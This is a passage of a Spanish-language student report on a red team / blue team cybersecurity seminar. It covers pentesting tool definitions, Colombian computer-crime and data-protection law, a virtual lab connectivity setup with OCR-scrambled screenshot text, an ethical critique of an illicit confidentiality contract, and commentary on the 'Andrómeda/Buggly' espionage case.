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RESUMEN

En el presente documento, se relaciona el informe técnico final donde se
plantearon y estructuraron estrategias de seguridad informatica relacionadas
con actividades propuestas en el seminario especializado en seguridad
informatica equipos estratégicos en ciberseguridad: red team & blue team,
donde se proponen una serie de casos estudio enfocados con la seguridad de
la empresa The WhiteHose Security.

El contenido del informe técnico se estructura basado en el desarrollo de 4
etapas: Etapa 1 - Conceptos equipos de Seguridad, Etapa 2 - Actuacion ética 'y
legal, Etapa 3 - Ejecucion pruebas de intrusion y Etapa 4 - Contencidon de
ataques informaticos. En la primera etapa se identifica y caracteriza el
problema y se realiza el despliegue de infraestructura necesaria para dicho
proceso. En la segunda etapa se presenta el caso de analisis de contratacion
relacionado con personal que se requiere vincular al equipo red team & blue
team de la empresa The WhiteHose Security. En la tercera etapa se analizan
metodologias de pruebas para la penetracion de la seguridad informética,
utilizando herramientas especializadas; se hace la explotacion del sistema y se
identifica las vulnerabilidades que tiene la organizacién con respecto a su
seguridad. En la cuarta etapa se realiza un estudio minucioso de las
vulnerabilidades y se genera plan de mejora de la seguridad de la empresa.

Con el desarrollo de las actividades anteriormente mencionadas el informe
técnico finaliza realizando recomendaciones y conclusiones en relaciéon con las
estrategias y actividades desarrolladas por el equipo red team & blue team de
la empresa The WhiteHose Security.
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GLOSARIO

METASPLOIT: Es una herramienta pentest, la cual permite desarrollar y
ejecutar procesos exploits, en el cual identifica los diferentes tipos de
vulnerabilidades y es en una ayuda muy precisa en la prueba de penetracion.
Este tipo de herramienta la podemos encontrar disponibles en sistemas
operativos como Unix, Linux, MAC, BSD y en las 3 versiones de sistemas
operativos de Windows.

NMAP: Es una herramienta de codigo abierto que permite la exploracion de
redes y auditoria de seguridad. Su disefio permite el analisis, ejecutar proceso
y procedimientos en grandes redes, aunque también funciona con equipos
individuales.

OPENVAS: Es una herramienta de uso libre, que permite identificar
vulnerabilidades logrando realizar correcciones de fallas de seguridad. Este
framework que su base de operacion son servicios y herramientas para poder
evaluar vulnerabilidades, se puede utilizar de forma individual o e manera
conjunta con otras herramientas de seguridad.

EXPLOITDB: Este tipo de herramienta permite realizar una copia de seguridad
del proceso realizado en la web exploitdb, permitiéndonos realizar una
busqueda mas de talladas de la informacion fuera de linea de a través de un
proceso de copia local. Este tipo de herramienta es muy util en los procesos
que evaluacion de seguridad de una red que no cuente con la posibilidad de
ingreso a internet.

CVE: Tipo de herramienta cuya caracteristica son las vulnerabilidades y
exposiciones comunes, en las bases de datos. El uso de esta herramienta se
enmarca en generar un listado de informacion donde se tienen las
vulnerabilidades o fallas de los sitios oficiales de la CVE, este tipo de listas se
encuentran disponibles al publico.

NESSUS: Esta herramienta utiliza procesos de escaneo, busqueda de algun
tipo de vulnerabilidad en la red y sus posibles soluciones; permite emitir
resultados en un informe final desde donde se clasifica cada uno de los analisis
realizados.

BLUETEAM: Equipo azul, grupo de personas que realizan andlisis de los
sistemas informéaticos, permitiendo garantizar la seguridad, identificar fallas de
seguridad, verifica efectividad de las medidas adoptadas y se aseguran de que



las medidas de seguridad implementadas continden siendo eficientes para la
seguridad de la empresa.

REDTEAM: Equipo rojo, grupo de personas que ayuda a una organizacion a
mejorar sus sistemas de seguridad a través de la utilizacion e implementacion
de ataques sectorizados algun objeto de la empresa, permitiendo el estudio de
sus vulnerabilidades.

VULNERABILIDAD: Defecto que se puede presentar en un sistema
informatico, el cual puede provocar su desproteccion ante cualquier atacante
del sistema de una organizacion. También estd asociada al conjunto de
procedimientos que permita que la seguridad de una organizacion se encuentre
expuesta ante una amenaza.

HARDENIZACION: Proceso de asegurar un sistema mediante la minimizacion
0 mitigacién de vulnerabilidades en el mismo; permite eliminar software,
servicios, usuarios, entre otros; innecesarios en el sistema y de la misma
manera puertos que no estén en uso.

PENTESTING: Practica que se realiza para poner a prueba la seguridad de un
sistema informético, aplicacibn web o una red, en donde se establecen las
posibles vulnerabilidades que un atacante podria explotar.



INTRODUCCION

En el siguiente informe técnico se presentan las acciones relevantes,
realizadas por el equipo Red team y Blue team de la empresa The WhiteHose
Security, correspondientes al marco de los criterios éticos y legales de los
procesos de seguridad informatica, analisis e implementacién de herramientas
para realizar pruebas de penetracion y herramientas de ciberseguridad.

Se planteard en detalle los procesos y procedimientos realizados en las
diferentes etapas del pentesting, las herramientas utilizadas en cada una de
estas etapas y sus respectivos analisis en el sistema indagado. Se
caracterizara los factores de vulnerabilidad a partir del andlisis de riesgos de
seguridad en el sistema informético de la empresa, dando a conocer las
respectivas acciones para minimizar o mitigar ataques que se realicen en
tiempo real; teniendo en cuenta funciones y caracteristicas de la informética
SIEM.

En los procesos de ciberseguridad cada dia se generan nuevas amenazas Yy
vulnerabilidades, que parten en suplantar herramientas ya existentes que tiene
alterado su contexto y en vez de ser una herramienta para nuestra seguridad,
se convierte en un elemento que logra vulnerar nuestro sistema conociendo
informacion importante de la empresa: por esto es de suma importancia saber
qué tipo de herramienta de contencion vamos a emplear, respondiendo
eficientemente a las amenazas que se presenten.

11



OBJETIVOS
Objetivo general.

Socializar informe técnico sobre los procedimientos de seguridad informatica
desarrollados con el equipo Red team y Blue team de la empresa The
WhiteHose Security, cumpliendo normas y procedimientos de seguridad
establecidos por la empresa.

Objetivos especificos.

e Analizar los requerimientos del cliente y la normatividad sobre procesos
de seguridad informética.

¢ Implementar acciones metodologicas de seguridad planteadas por el
equipo Red team y Blue team de la empresa The WhiteHose Security.

e Establecer conclusiones y recomendaciones a mejorar en las estrategias
usadas por el equipo Red team y Blue team de la empresa The
WhiteHose Security.

12



DESARROLLO DEL INFORME TECNICO

1. Etapa l: Conceptos equipos de Seguridad

v" Anexo 1 — Escenario 1.
Situacion problema: Montaje banco de trabajo.

The Whitehouse Security requiere previamente una instalacion de un banco de
trabajo con el cual el personal postulado a hacer parte de la organizacion
debera utilizar en una serie de escenarios y problemas complejos al interior de
The WhiteHouse Security. El banco de trabajo debe estar basado en
herramientas software Opensource, la recursividad sera vital en este proceso.

De manera simultdnea The WhiteHouse security requiere conocer por medio de
una serie de preguntas orientadoras el estado inicial o base del conocimiento
de los aspirantes en cuanto a temas de Ciberseguridad, al resolver estas
preguntas la organizacion podra tener una perspectiva global de sus futuros
empleados.

1.1 Normativas sobre delitos informaticos.

Procesos fundamentales relacionados con las leyes 1273 de 2009 y 1581 de
2012.

1.1.1 Ley 1273 de 20089.

Ley Colombiana que permite realizar modificaciones al cédigo penal, en cual se
crea un bien juridico tutelado que se identifica con el nombre “de la proteccién
de la informacién y de los datos”.!

Caracteristicas articulos que estd compuesta esta ley:

e Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO.

e Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA
INFORMATICO O RED DE TELECOMUNICACION.

e Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS.

e Articulo 269D. DANO INFORMATICO.

e Articulo 269E. USO DE SOFTWARE MALICIOSO.

e Articulo 269F. VIOLACION DE DATOS PERSONALES.

1 Ley 1273 20009. (5 de enero 2009) Normatividad — Leyes. Obtenido. Direccién de apropiacién de las TIC
. ministerio de las tecnologias de la informacion y comunicaciones:
https://www.mintic.gov.co/portal/604/articles-3705_documento.pdf
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Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR
DATOS PERSONALES.

Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA.
Articulo 269l. HURTO POR MEDIOS INFORMATICOS Y
SEMEJANTES.

Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS.

1.1.2 Ley 1581 de 2012.

“Ley que permite la proteccion de datos personales que se encuentren
registrados en cualquier base de datos”.?

Principios caracteristicos de la ley:

Principio de legalidad en materia de Tratamiento de datos:

Es una ley que esta reglamentada y que esta sujeta a lo establecido en
ellay que en lo que la desarrolle.

Principio de finalidad:

Debe obedecer el tratamiento a una finalidad legitima y que este acorde
a la constitucion y la ley.

Principio de libertad:

Este tratamiento solo puede ejercerse con el consentimiento del titular y
los datos personales no podran ser obtenidos o divulgados sin algun tipo
de autorizacion.

Principio de veracidad o calidad:

La informacion en tratamiento debe ser completa, exacta, comprobable y
comprensible.

Principio de transparencia:

Es preciso determinar que la informacion en tratamiento debe garantizar
el derecho del titular a conocer en cualquier momento.

Principio de acceso y circulacion restringida:

La informacion que se encuentre en tratamiento se debe regir a los
limites que derivan de la naturaleza de los diferentes datos personales,
de la ley y constitucion.

Principio de seguridad:

Se debe manejar la informacion sujeta a tratamiento con todas las
técnicas necesarias tanto administrativas como humanas.

Principio de confidencialidad:

Se debe garantizar la reserva de la informacion tratada, inclusive
después de realizar el respectivo trabajo de tratamiento.

2 Ley estatutaria 1581 del 2012 (octubre 17 de 2012). Senado de la republica de Colombia. Obtenido
Diario Oficial No. 48.587: http://www.secretariasenado.gov.co/senado/basedoc/ley_1581_2012.html.
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1.2 Herramientas utilizadas para la prueba de penetracion.

1.2.1 Fase 1: Recoleccion de informacion.

En esta fase nos dedicamos a recolectar toda la informacion posible que la
empresa tenga disponible identificando los sistemas y programas en
funcionamiento que ella tiene.

Herramienta: scanner y arafias que permiten la recoleccion total de la
informacion.

1.2.2 Fase 3: Andlisis de vulnerabilidades.

En esta fase se valoran los casos exitosos de nuestras estrategias de
penetracion a través del andlisis y proactividad de vulnerabilidades.

Herramientas: NESSUS, Nmap, CVE.

1.2.3 Fase 4: Explotacion.

En esta fase se inicia el proceso de intentar conseguir los accesos a los
diferentes sistemas objeto de nuestra prueba de penetracion.

Herramientas: Metasploit, exploitdb.

1.2.4 Fase 5: Informe.

En esta fase final es donde se presenta el resultado de la prueba de
penetracion, donde se identifica con claridad los riesgos que se pueden
presentar segun las vulnerabilidades encontradas.

Herramientas: Sistemas ofimaticos para entrega de los respectivos informes.
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1.3 Herramientas utilizadas en procesos de Ciberseguridad.

1.3.1 Metasploit.

Es una herramienta pentest, la cual permite desarrollar y ejecutar procesos
exploits, en el cual identifica los diferentes tipos de vulnerabilidades y es en una
ayuda muy precisa en la prueba de penetracion.

En la caracteristica de uso de esta herramienta encontramos 3 acciones
importantes de referenciar:

e Metasploit Framework.
e Metasploit Express 4.0.
¢ Metasploit Pro-3.5.

1.3.2 Nmap.

Es una herramienta de cddigo abierto que permite la exploracion de redes y
auditoria de seguridad. Su disefio permite el andlisis, ejecutar proceso y
procedimientos en grandes redes, aunque también funciona con equipos
individuales.

1.3.3 OpenVas.

Es una herramienta de uso libre, que permite identificar vulnerabilidades
logrando realizar correcciones de fallas de seguridad.

1.3.4 ExploitDB.

Este tipo de herramienta permite realizar una copia de seguridad del proceso
realizado en la web exploitdb, permitiéndonos realizar una busqueda mas de
talladas de la informacion fuera de linea de a través de un proceso de copia
local.

1.3.5 CVE.

Tipo de herramienta cuya caracteristica son las vulnerabilidades y exposiciones
comunes, en las bases de datos.
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1.4 Instalacién banco de trabajo.

1.4.1 Prueba de conectividad entre maquinas “win 7 — SE2020-
X64” y maquina “win 7 — SE2020”

Paso 1: Encendemos las dos maquinas correspondientes de prueba.

Figura 1 Entorno madquina Virtual win 7 x64 y x86.

¥ Oracle VM VirtualBox Administrador — O s

Archive  Maquina  Ayuda

i —— Y > -

Mueva Configuracion Descartar Mostrar

.- ESISeg.DB @ General @ Previsualizacion I
MNombre: win7-5E2020
El". Win7-SE2020-X64 Sistema operativo:  Windows 7 (54-bit)
I:§> Corriendo @ Sistema
Memoria base: 2043 MB
[salf | . Procesadores: 4 i
.J,'y. C 9 - Orden de arrangue: gisquete, Optica, Disco
uro
Aceleracién: WT-x/AMD-V, Paginacidn
- anidada,
I?_"I Kali - Seminario Paravirtualizacién
» @ Apagada Hyper-y
|§| Pantalla
Memoria de video: 128 MB
Controlador gréfico: VBoxSWGA

Servidor de escritorio remoto: Inhabilitado

Fuente: Autor

Paso 2: Identificamos la direcciéon IP asignada a la maquina “win 7 — SE2020”.
IP: 192.168.1.74 MODO RED: Adaptador Puente.

Figura 2 Direccion IP win 7 se2020.

n P Escribe aqui para buscar

Fuente: Autor

Paso 3: Identificamos la direccién IP asignada a la maquina “win 7 — SE2020-
64”. IP: 192.168.1.71 MODO RED: Adaptador Puente.
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Figura 3 Direccion IP win7 SE2020 x64.

[ Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox

Archivo  InigArchive _Maquina _ Ver _Entrada _Disposi 1 Compartir 3 Comentarios

Microsoft Windo: ion 6.1.76811
Coronight (a5 3089 Misvasaft Comporation. Reservades todos los derschos.

C:\Usersiusuario>ipcontig

[Conf iguracién IP de Windows
Panel de control
Adaptador de Ethernet Conexidn de &rea local:
§ufido DNG ocopocifico para la conoxidn. .
Uinculo: direccidn IPvé local. . £e80 2 :9ce4: 40387898111
Direccién IPud. . . . . . . . . . lﬁﬂ 1.71

192.
Miscara de subred . . - - 255,255 _255.0
Puerta de enlace predeterninada . . - 192.168.1.254

Adaptador de tdnel isatap.{SBESBED2-9B@4-4799-BEB3-D289D73C24683 :

Estade de los medios. medios desconectados

Sufijo DNS especifico para la conex

C:\Usersiusuario>

Piginadde9 2037 palabras  [R T Concentracién
§ . 10:24
R Escribe aqui para buscar 4y 06/02/2021

Fuente: Autor
Paso 4: Verificamos conectividad entre las maquinas virtuales.
Figura 4 Verificacion conectividad win 7 SE 2020.

B win7-5E2020 [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

Papelera de
reciclaje

9

Firefox

B C:\Windows\system32\cmd.exe
tiempo<in T1L=128
2 tiempo<im TTL=128

2 tiempo<im TT

192.
» recibidos = 4, perdido

y vuelta en mi
Bnes “Modia = @

\Users\usuario>ping 192.168.1.71
flaciendo ping a 192.168.1.71 con 32 by
[Re's pu de: J168.1 byte

i
e 19 % EMpPo

10371681:517 hytes-32 tiempacim

de ping para 192.168.1.71
enviados = 4, recihid 4, perdidos
dos).

dos de ida y vuelta en milisegundo
= 0 Medi [}

Rinino = Gne: Méxino

B @ Bl Pl® e oemeca

Fuente: Autor
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Figura 5 Verificacion conectividad win 7 SE2020 x64.

= . T—

] Win7-5E2020-X84 [Corriendo] - Oracle VM VirtualBox - o x
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Fuente: Autor

1.4.2 Prueba de conectividad entre maquinas “Kali - seminario” y
maquina “win 7 — SE2020”

Paso 1: Encendemos las dos maquinas correspondientes de prueba.

Figura 6 Entorno mdquinas virtuales win 7 SE 2020 y Kali seminario.
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Controlador grafico: VBoxViGA
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Almacenamiento

Controlador: IDE

Fuente: Autor

19



Paso 2: Cargamos los archivos de Kali — seminario.

Figura 7 Cargue archivos Kali - seminario.
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[ 14603801 0> /pmc/sgs/keme1/1mng,tas)<,tmenut,se.:s disables this message.
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[ 2914741 "' 9 > sprocssys/kerncl hung_task_tincout_secs” disables this message.
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[ .2915761 Tainted: G U E 5.6.0-kaliz-and64 #1 Debian 5.6.14-Zkalil
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Fuente: Autor

Paso 3: El ping es exitoso desde la maquina de Kali — seminario a la maquina
win 7 — SE2020

Figura 8 Conectividad entre Kali seminario y win 7 SE 2020.

8] Kali - Seminaric [Corriendo] - Oracle VM VirtualBox - x
Ver Ayuda

[E estudiante i 3 2 M D A ~

Archivo  Maquina Entrada  Dispositivos

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

m-t\.‘ 1500 qdisc pfifo fe state UP

noprefixroute eth®

route

om
om mp : .
from 192 7 e time=1.5

<

>
BESo @ 3] cTrL DERECHA

- " R 2 1043
H £ Escribe aquf para buscar Je 7 = G smn

Fuente: Autor
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Paso 4: Configuracion MODO Adaptador Puente. IP 192.168.1.72

Figura 9 Direccion IP Kali seminario.
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Fuente: Autor

Paso 5: Ping éxitos con la maquina win 7 — SE2020.

Figura 10 Conectividad win 7 SE 2020.
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Fuente: Autor
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Paso 6: Ping éxitos con la maquina Kali — seminario.

Figura 11 Conectividad Kali seminario.
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Fuente: Autor

1.4.3 Prueba de conectividad entre maquinas “Kali - seminario” y
maquina “win 7 — SE2020X64”

Paso 1: Encendemos las dos maquinas correspondientes de prueba.

Figura 12 Entorno mdquinas virtuales.
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Fuente: Autor
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Paso 2: Realizamos las pruebas de conectividad desde la maquina Kali —
seminario hacia la maquina win 7 — SE2020X64. Exitoso.

Figura 13 Conectividad win 7 SE 2020 x 64.
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Fuente: Autor

Paso 3: Realizamos las pruebas de conectividad desde la maquina win 7 —
SE2020X64 hacia la maquina Kali — seminario. Exitoso.

Figura 14 Conectividad Kali seminario.
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2. Etapa 2 Actuacién éticay legal.

v' Anexo 2 — Escenario 2
Situacion problema: Analisis legal.

La organizacion WhiteHouse Security es una organizacién con reconocimiento
a nivel mundial por asesorar a grandes Gobiernos en procesos de
ciberseguridad y ciberdefensa logrando posicionarse como la organizacion mas
importante en el campo de la seguridad informatica a nivel mundial, la
organizacion ha decidido que es hora de conformar equipos de Red team y
Blue team dentro de su estructura funcional para aumentar los protocolos de
seguridad al interior de esta.

Para dar inicio, la organizacibn WhiteHouse Security hace entrega de un
contrato para el reclutamiento de sus equipos Red team y Blue team; este
contrato fue elaborado por un abogado que ya no labora con la organizacion y
fue despedido por encontrar algunos procesos ilicitos. La alta gerencia no
reviso los contratos con los que se reclutara el nuevo personal, por ende, los
contratos son entregados sin modificacion alguna; ante este evento la gerencia
solicita tener suma precaucion antes de firmar el contrato y acuerdos de
confidencialidad estipulados para el fin de contratacion de personal, sin
embargo la organizacion aprovecha una serie de problemas que ha identificado
en su interior y como prueba de admision al equipo Red team y Blue team
deciden clasificar una primera mision a la cual deberian dar respuesta en poco
tiempo y trabajar bajo presion “caracteristica” de estos equipos. También
deberd proyectar la instalacion de dos maquinas virtuales por medio de
virtualbox para poder ejecutar las sesiones de pruebas en las actividades
posteriores.

v" Anexo 3 — Acuerdo
Situacion problema: Anélisis legal.

ACUERDO DE CONFIDENCIALIDAD ENTRE NOMBRE ESTUDIANTE Y
WHITEHOUSE SECURITY.
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2.1 Andlisis acuerdo legal contrato, proceso legal y no ético del
escenario 2 — acuerdo.

2.1.1 Clausula primera.

“En virtud del presente acuerdo de confidencialidad, la parte receptora, se
obliga a no divulgar directa, indirecta, proxima a remotamente, ni a través de
ninguna otra persona o de sus subalternos o funcionarios, ElOIUGUESHEOGIES.
asesores 0 cualquier persona relacionada con ella, la informacion confidencial
o sobre procesos ilegales dentro de Whitehouse Security no podran ser
Los fragmentos resaltados “autoridades legales” y “sobre procesos ilegales
dentro de whitehouse Security no podran ser divulgados”, permite omitir
informacion sobre el proceso realizado, ocasionando perdida de
confidencialidad del tratamiento de la informacion de la empresa. Con este
proceso se limita las acciones de denuncia ante autoridades competentes,
dentro de las posibilidades de sospechas de algun tipo de espionaje o cualquier
tipo de proceso por el cual intervenga terceros con respecto a la apropiacion de
la informacién de la empresa.

2.1.2 Clausula segunda.

“Definicion de informacion confidencial: se entiende como Informacion
Confidencial, para los efectos del presente acuerdo:

1. La informacién que no sea publica y sea conocida por la parte receptora con
ocasion del proceso de seleccion de personal.

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales,
Parte receptora tenga conocimiento o a la que tenga acceso por cualquier
medio o circunstancia en virtud de las reuniones sostenidas y/o documentos
suministrados.

3. La que corresponda o deba considerarse como tal para garantizar el derecho
constitucional a la intimidad, la honra y el buen nombre de las personas y deba
guardarse la debida diligencia en su discrecion y manejo en el desempefio de
sus funciones”.



La parte resaltada “datos de chuzadas, interceptacion de informacién, accesos
abusivos a sistemas informaticos”, en este apartado se presenta un
procedimiento no ético al suministrar u otorgar informacién de manera ilegal,
sabiendo cuales son los debidos procesos y procedimientos legales que
existen para poder tratar la informacion de la organizacion. Es preciso que las
autoridades tratantes de la informacién respondan por el mal uso de estos
procesos.

2.1.3 Clausulatercera.

Origen de la informacion confidencial: provendra de documentos suministrados
en el proceso de seleccion de personal y que tiene que ver con las creaciones
del intelecto, a la naturaleza, medios, formas de distribucion, comercializacion
de productos o de prestacion de servicios, transmitida verbal, visual o
materialmente, por escrito en los documentos, medios electronicos, discos
opticos, microfilmes, peliculas, e-mail u otros elementos similares

suministrados de manera tangible o intangible, [CDEHGICHICICICUNUCHICIS

BOPBIE v sin que requiera advertir su caracter confidencial.

La parte resaltada “independiente de su fuente o soporte”, se denota que a
pesar de que la clausula es clara de donde proviene la diferente informacién a
tratar, no precisa las respectivas formas, procedimientos fuentes o soportes
que se van a tener en cuenta para lograr su adquisicion, incurriendo en
procesos ilegales los cuales las leyes de nuestro pais la denominan como
delitos.

2.1.4 Clausula cuarta.

Obligaciones de la parte receptora: Se considerard como parte receptora de la
informacion confidencial a la persona que recibe la informacién, o que tenga
acceso a ella. La parte receptora se obliga a:

De ser necesario o conveniente segun la necesidad del titular de la
informacion, se adicionaran las obligaciones que se consideren pertinentes:

1. Mantener la informacién confidencial segura, usarla solamente para los
propésitos relacionados con él, en caso de ser solicitada, devolverla toda
(incluyendo copias de esta) en el momento en que ya no requiera hacer uso de
la misma o cuando termine la relacién, caso en el cual, debera entregar dicha
informacion antes de la terminacion de la vinculacion.

2. Proteger la informacion confidencial, sea verbal, escrita, visual, tangible,
intangible o que por cualquier otro medio reciba, siendo legitima poseedora de
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la misma Whitehouse Security, restringiendo su uso exclusivamente a las
personas que tengan absoluta necesidad de conocerla.

5. Usar la informacion confidencial que se le entregue, Unicamente para los
efectos sefialados al momento de la entrega de dicha informacion.

6. Mantener la informacion confidencial en reserva hasta tanto adquiera el
caracter de publica.

8. Responder ante las autoridades competentes como responsable en caso de
que la informacién se encuentre en su poder dentro de un proceso de
allanamiento.

Paragrafo: Cualquier divulgacién autorizada de la informacion confidencial a
terceras personas estara sujeta a las mismas obligaciones de confidencialidad
derivadas del presente Acuerdo y la parte receptora debera informar estas
restricciones incluyendo la identificacion de la informacioén cono confidencial.

La parte resaltada “3. No denunciar ante las autoridades actividades
sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiaciéon de informacién de terceros”, hacia este proceso en donde no se
denuncie actividades que provoquen sospechas de delitos asociados a
espionajes u otra actividad asociadas, se pude identificar que muchas de las
anteriores actividades de mencionamos estan relacionadas con extorciones,
algun tipo de secuestro y hasta actos mortales, y por lo cual el no denunciar
este tipo de actos te puede volver complice de estos delitos.

La parte resaltada “4. Abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o intercambie con ocasion de las
reuniones sostenidas”, Con este proceso se limita las acciones de denuncia
ante autoridades competentes, dentro de las posibilidades de sospechas de
algun tipo de manipulacion, cambio, modificacion, o cualquier tipo de proceso
por el cual intervenga terceros con respecto a tratamiento de la informacién de
la empresa.
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La parte resaltada “7. Responder por el mal uso que le den sus representantes
a la informacién confidencial’, esta clausula es muy particular pues en el
momento de presentarse algun tipo de problema legal, las responsabilidades
de procesos y procedimientos efectuados, también recae sobre el empleado y
como consecuencia de este tipo de actos es la detencién inmediata, segun lo
estipule la ley segun la falta cometida, llegando con este proceso hasta perder
el derecho de ejercer la profesion.

La parte resaltada “9. La parte receptora se obliga a no transmitir, comunicar
revelar o de cualquier otra forma divulgar total o parcialmente, publica o
privadamente, la informacion confidencial o ilegal sin el previo consentimiento
por escrito por parte de Whitehouse Security”, en este inciso se habla
claramente de informacion confidencial o “ILEGAL”, por lo anterior la empresa
u organizacion si es conocedora de que se incurre sobre procesos ilegales en
la informacién que se maneja y que asi se va a evidenciar cuando se le
requieran.

2.1.5 Clausula octava.

Solucion de controversias: Las partes (nombre estudiante — nombre empresa)
se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucién de conflictos cualquier diferencia que surja con motivo
de la ejecucion del presente acuerdo.

La parte resaltada “En caso que la informacion ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado privado y
dejar exenta de cualquier responsabilidad legal y penal a Whitehouse Security”,
es preciso identificar que dentro de los proceso y procedimientos legales que
se desarrollen en el tratamiento de la informacién de la organizacién, se cuenta
con abogados propios de la empresa, contratados para tratar los aspectos de
irregularidad y/o proceso legales correspondientes a la informacién de la
organizacion.



2.2 Andlisis ilegalidad segun proceso establecido en laley 1273
sobre el acuerdo.

e Clausula primera:
Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO.

Este articulo se aplica para el caso de ingreso sin autorizacién o sin ningun tipo
de acuerdo establecido por la parte de seguridad, a la totalidad de la
informacion o parcialmente al sistema informatico.

e Clausula segunda:
Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS.

Articulo que se aplica en casos donde se interceptan informacion de origen,
destino o en el interior de un sistema informatico, sin ningun tipo de orden
judicial que soporte esta accion realizada.

e Clausulatercera:

Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR
DATOS PERSONALES.

Este tiene aplicacion en el caso en donde tiene como objetivo ilicito y sin estar
facultado para realizar estas acciones, disefie, desarrolle, trafique, venda o
envié paginas electronicas, enlaces o ventanas emergentes.

e Clausula cuarta:
Articulo 269F. VIOLACION DE DATOS PERSONALES.

Caso en el cual el personal sin estar facultado para realizar dichas acciones,
con algun tipo de interés propio o de terceros, obtenga, sustraiga, venda,
intercambie, divulgue o modifique datos personales contenido en un fichero,
archivo y/o bases de datos.

Articulo 2691. HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES.

Proceso que aplica para personal que, superando medidas de seguridad
informaticas, realice manipulacion de la informacion.

e Clausula octava:

Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA
INFORMATICO O RED DE TELECOMUNICACION.

Proceso que se aplica a la persona que, sin estar facultada para desarrollar
dicha accidn, obstaculice o interfiera el normal funcionamiento de los sistemas
informaticos, en sus datos de informacién ahi contenidos o no permita el
acceso correcto a las redes de telecomunicaciones.
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2.3 Andlisis propuesta laboral — Punto de vista legal y ético.

v ¢ Existiendo procesos poco confiables en el anexo 3 — Acuerdo? usted
como experto en ciberseguridad aplicaria a este trabajo en The White
House, donde la organizacion dispone de un sueldo de $15.000.000 de
pesos colombianos mensuales y contrato vitalicio? Debe argumentar su
respuesta ya sea afirmativa o negativa y tener en cuenta en la
argumentacion lo que se dispone en COPNIA en su codigo de ética para
ingenieros.

Como profesional y como experto en procesos de ciberseguridad, no aplicaria
para este trabajo, ya que en las diferentes clausulas y acuerdos suscritos en el
contrato, no se especifica de manera clara, concreta y detallada; las formas de
como se va a desarrollar los diferentes procesos y procedimientos para el caso
de tratar la informacién. Lo anterior genera un alto grado de desconfianza ya
gue se puede en algun momento estar incurriendo en delitos que la ley puede
identificar como irregulares al debido proceso de la confidencialidad,
integralidad, disponibilidad de los datos y de los sistemas informaticos,
descritos en la ley 1273 de 2009.

También se debe tener en cuenta que, para tomar esta decisién, contamos con
una herramienta fundamental que permite desarrollar de manera correcta y
eficiente los procesos de tratamiento de la informacion y que se encuentra
consignado en el cédigo de ética de COPNIA, donde se establece del deber ser
del ejercicio de la ingenieria.

Se enuncian algunos articulos de este cddigo de ética COPNIA, que se deben
tener en cuenta:

e ARTICULO 31.
DEBERES GENERALES DE LOS PROFESIONALES.

e ARTICULO 35.
DEBERES DE LOS PROFESIONALES PARA CON
LADIGNIDAD DE SUS PROFESIONES.

e ARTICULO 37.
DEBERES DE LOS PROFESIONALES PARA CON SUS
COLEGAS Y DEMAS PROFESIONALES.

e ARTICULO 39.
DEBERES DE LOS PROFESIONALES PARA CON
SUSCLIENTES Y EL PUBLICO EN GENERAL".
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2.4 Andlisis de mi punto de vista sobre la noticia del caso
“OPERACION ANDROMEDA BUGGLY” en la ciudad de Bogota.

Desde mi punto de vista teniendo como fundamento los proceso legales y
éticos que se pueden analizar en el caso “OPERACION ANDROMEDA
BUGGLY” el cual de desarrollo en la ciudad de Bogota, se pueden establecer
varios puntos de estudio, partiendo que todo se desarrolla en un ambito
colaborativo donde se establecen sistemas de conocimiento con personas
expertas en sus areas de profesion, que a su vez buscan un trabajo en equipo
para poder aprender cosas nuevas de cada uno de sus integrantes, en sintesis
podemos estar hablando de un hackerspace (espacio de hackers), en donde su
objetivo principal era hacerlo parecer una comunidad que se dedica a la
seguridad informatica y lo lograron. En el proceso de desarrollo de esta
comunidad se presentaron algunos hallazgos que colocaron en duda su
correcto funcionamiento, en este caso estamos hablando de la parte
econdémica y de financiacion de esta comunidad para soportar este tipo de
proyectos; y en consecuencia con esto, también se analizaba el tipo de
flexibilidad que se tenia para ingresar a este proyecto sin tener algun tipo de
complicacion para su vinculacion.

Puedo entender con lo anterior que “BUGGLY”, no era un lugar u organizacion
sencilla en su estructura 0 en resumen un lugar el cual no se desarrollara
grandes cosas como lo hicieron creer a muchos.

En la operacién Andrémeda, desarrollada por parte de la inteligencia técnica
del ejército nacional y en la cual se enmarcaba como objetivo principal adquirir
conocimientos sobre hacking ético en donde solo se busca realizar pruebas en
redes para poder identificar tipos de vulnerabilidades y luego ser reportadas
buscando planes de mejoras sobre estas; en este caso no se busca realizar
algun tipo de dafio sobre los analizado. En un apartado de este analisis se
identifica que el lugar no solo era visitado por personas del comun que solo
querian realizar dichos procesos, sino que también asistian militares o
funcionarios de las fuerzas armadas. Otro caso que se presenta en esta
operacion aplica para la infraestructura de telecomunicaciones, en donde se
dice que desde este lugar (Buggly) se realizaban caracterizacion y monitoreo
del espectro, en donde se empleaban algunos malware para obtener
informacion de personas, logrando la interceptacion de comunicaciones,
también se utilizaron software especializados los cuales permitian espiar
equipos terminales de red (computadores), teniendo absoluto control de la
informacion que en ellos se contenia tanto de entrada como de salida y que en
un caso particular se utilizaba con las guerrillas de las FARC y ELN grupos al
margen de la ley en Colombia; también se puede detallar dentro de este
estudio que en algin momento se realizé espionaje al proceso de paz que se
venia adelantado entre el gobierno y la guerrilla.
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Ahora desde la informacion entregada por el General Ernesto Maldonado, todo
se desarrollaba en un entorno legal, cobijada por la Constitucion Politica de
Colombia y por los respectivos reglamentos y manuales de manejo de las
